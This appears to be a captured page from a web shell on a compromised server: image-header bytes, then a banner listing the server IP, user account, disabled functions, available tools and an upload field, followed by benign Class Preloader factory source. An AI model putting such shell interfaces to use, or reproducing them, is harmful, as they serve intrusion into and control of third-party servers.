ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.145.93.221 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/classpreloader/classpreloader/src/ |
Upload File : |
<?php /* * This file is part of Class Preloader. * * (c) Graham Campbell <graham@alt-three.com> * (c) Michael Dowling <mtdowling@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace ClassPreloader; use ClassPreloader\Parser\DirVisitor; use ClassPreloader\Parser\FileVisitor; use ClassPreloader\Parser\NodeTraverser; use ClassPreloader\Parser\StrictTypesVisitor; use PhpParser\Lexer; use PhpParser\Parser; use PhpParser\ParserFactory; use PhpParser\PrettyPrinter\Standard as PrettyPrinter; /** * This is the class preloader factory class. * * This class is a simple way to create a class preloader instance. */ class Factory { /** * Create a new class preloader instance. * * Any options provided determine how the node traverser is setup. * * @param bool[] $options * * @return \ClassPreloader\ClassPreloader */ public function create(array $options = []) { $printer = new PrettyPrinter(); $parser = $this->getParser(); $options = array_merge(['dir' => true, 'file' => true, 'skip' => false, 'strict' => false], $options); $traverser = $this->getTraverser($options['dir'], $options['file'], $options['skip'], $options['strict']); return new ClassPreloader($printer, $parser, $traverser); } /** * Get the parser to use. * * @return \PhpParser\Parser */ protected function getParser() { if (class_exists(ParserFactory::class)) { return (new ParserFactory())->create(ParserFactory::PREFER_PHP7); } return new Parser(new Lexer()); } /** * Get the node traverser to use. * * @param bool $dir * @param bool $file * @param bool $skip * @param bool $strict * * @return \ClassPreloader\Parser\NodeTraverser */ protected function getTraverser($dir, $file, $skip, $strict) { $traverser = new NodeTraverser(); if ($dir) { $traverser->addVisitor(new DirVisitor($skip)); } if ($file) { $traverser->addVisitor(new FileVisitor($skip)); } if (!$strict) { $traverser->addVisitor(new StrictTypesVisitor()); } return $traverser; } }